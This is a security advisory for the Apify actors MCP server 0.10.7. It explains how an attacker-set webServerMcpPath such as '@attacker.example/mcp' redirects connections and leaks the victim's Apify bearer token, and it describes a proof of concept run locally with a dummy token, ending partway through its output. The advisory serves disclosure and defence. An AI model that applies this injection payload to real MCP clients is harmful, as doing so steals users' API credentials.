Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
```ts
// src/mcp/actors.ts:44
return ${standbyUrl}${mcpServerPath};
```
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/ (relative path), - avoid an
@ character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
```
https://[email protected]/mcp
```
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
| src/tools/core/call_actor_common.ts:317 | call-actor MCP tool |
| src/utils/actor_details.ts:155 | fetch-actor-details MCP tool |
| src/mcp/server.ts:1047 | actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
```ts
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: Bearer ${token},
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', Bearer ${token});
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: Bearer ${token},
```
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
2. src/mcp/server.ts:816 — apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
5. src/mcp/actors.ts:14-20 — webServerMcpPath is trimmed and split; first element is returned without path validation.
6. src/mcp/actors.ts:44 — standbyUrl + mcpServerPath produces an authority-injected URL.
7. connectMCPClient() is called with the injected URL and the victim's token.
8. src/mcp/client.ts:94/103/124 — Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185 checked out under the build context
Build and run:
```bash
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
```
The Dockerfile:
1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
2. Installs @apify/[email protected] dependencies under pnpm.
3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
4. Runs exploit.mjs, which:
- Starts an HTTPS capture server on
127.0.0.1:31337. - Constructs a
webServerMcpPath of @127.0.0.1:31337/mcp. - Calls
getActorMCPServerURL() directly, producing https://[email protected]:31337/mcp. - Calls
connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received
Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
```
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker H
